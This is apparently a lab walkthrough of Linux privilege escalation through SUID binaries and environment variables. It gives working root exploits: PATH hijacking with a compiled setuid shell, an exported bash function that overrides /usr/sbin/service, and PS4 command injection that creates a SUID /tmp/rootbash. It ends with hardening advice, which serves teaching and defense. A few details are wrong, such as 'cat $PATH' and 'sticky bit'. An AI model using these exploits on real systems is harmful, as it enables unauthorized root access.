SUID (Set User ID) and SGID (Set Group ID) are permissions in Unix-based systems that allow users to execute a file with the permissions of the file owner or group, respectively. When these permissions are set on executables and combined with environment variables, it can lead to potential security vulnerabilities if not managed properly.
Environment variables, like PATH, LD_LIBRARY_PATH, or PYTHONPATH, can be manipulated by attackers to potentially influence the behavior of SUID/SGID executables. If an SUID/SGID binary relies on environment variables to locate libraries, binaries, or configurations, an attacker can manipulate these variables to control the behavior of the executable.
If a program is attempting to execute programs without specifying an absolute path, we could modify the $PATH variables, to direct the program to our own script or binary.
Identification
SUID
1. To hunt for all SUID binaries on the system
- find / -type f -perm -4000 2>/dev/null
- find / -type f -perm -u=s 2>/dev/null
SGID
1. You can also search for specific user SUID
- find / -type f -perm -4000 -user root -ls 2>/dev/null
- find / -type f -perm -u=s -user root -ls 2>/dev/null
Extra
1. You can search for both at the same time
- find / \( -perm -4000 -o -perm -2000 \) -type f -exec ls -la {} \; 2> /dev/null
- find / \( -perm -g=s -o -perm -u=s \) -type f -exec ls -la {} \; 2> /dev/null
LinPEAS
1. Using LinPEAS.sh we can enumerate SUID and SGID
- Transfer the script into the target machine
- Run it: ./LinPEAS.sh
suid3num
1. Enumerate SUID using suid3num.py script (https://github.com/Anon-Exploiter/SUID3NUM), we’ll take a look at /usr/local/bin/suid-so
- Python2.6 suid3enum.py
Exploitation #1
1. In our case, we see some interesting SUID/SGID set files. I will test suid-env against this vulnerability. We can review this code, to try to find any program being called without specifying the absolute path
- strings /usr/local/bin/suid-env
Note: In our case, we found this program trying to execute apache2, One line (“service apache2 start”) suggests that the service executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.
2. Create a code that spawns a shell, in any writable directory, and call it as service, then compile it
int main() {
setuid(0);
system("/bin/bash -p");
}
- vi service.c
- cat service.c
- gcc -o service service.c
- ls -l service*
3. Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the suid-env executable to gain a root shell
- echo $PATH
- pwd
- export PATH=/home/user:$PATH
- cat $PATH
Note: You can also run, not to change the environment variable
- PATH=.:$PATH /usr/local/bin/suid-env
4. Execute the program, you should have a new shell as root
- /usr/local/bin/suid-env
- whoami && id
Exploitation #2 (absolute path)
1. The /usr/local/bin/suid-env2 executable is identical to /usr/local/bin/suid-env except that it uses the absolute path of the service executable (/usr/sbin/service) to start the apache2 webserver.
- strings /usr/local/bin/suid-env2
2. In Bash versions <4.2-048 it is possible to define shell functions with names that resemble file paths, then export those functions so that they are used instead of any actual executable at that file path.
- /bin/bash –version
3. Create a Bash function with the name “/usr/sbin/service” that executes a new Bash shell (using -p so permissions are preserved) and export the function, then run the program
- function /usr/sbin/service { /bin/bash -p; }
- export -f /usr/sbin/service
- /usr/local/bin/suid-env2
- Whoami && id
Exploitation #3
1. This will not work on Bash versions 4.4 and above. When in debugging mode, Bash uses the environment variable PS4 to display an extra prompt for debugging statements.
- /bin/bash –version
2. Run the /usr/local/bin/suid-env2 executable with bash debugging enabled and the PS4 variable set to an embedded command which creates an SUID version of /bin/bash:
- env -i SHELLOPTS=xtrace PS4=’$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)’ /usr/local/bin/suid-env2
Note: this command will copy /bin/bash as root, copy it to /tmp as rootbash, and then, set it as sticky bit
3. Now make sure the rootbash file was created, and then run it
- ls -l /tmp
- /tmp/rootbash
- whoami && id
Recommendations
- Limit Environment Variable Usage: Minimize the reliance of SUID/SGID executables on environment variables whenever possible.
- Hardcode Paths: Instead of relying on environmental variables, specify full paths to necessary binaries, libraries, and configurations within the code of the executable.
- Restricted Environment: Implement a restricted environment for the execution of SUID/SGID executables to control and sanitize the environment variables available to them.
- Code Review: Analyze the code of SUID/SGID executables to understand their reliance on environment variables.
- Static Analysis Tools: Use tools that scan code for potential vulnerabilities related to environment variables.
- Runtime Monitoring: Monitor the behavior of SUID/SGID executables for any unexpected or unauthorized actions.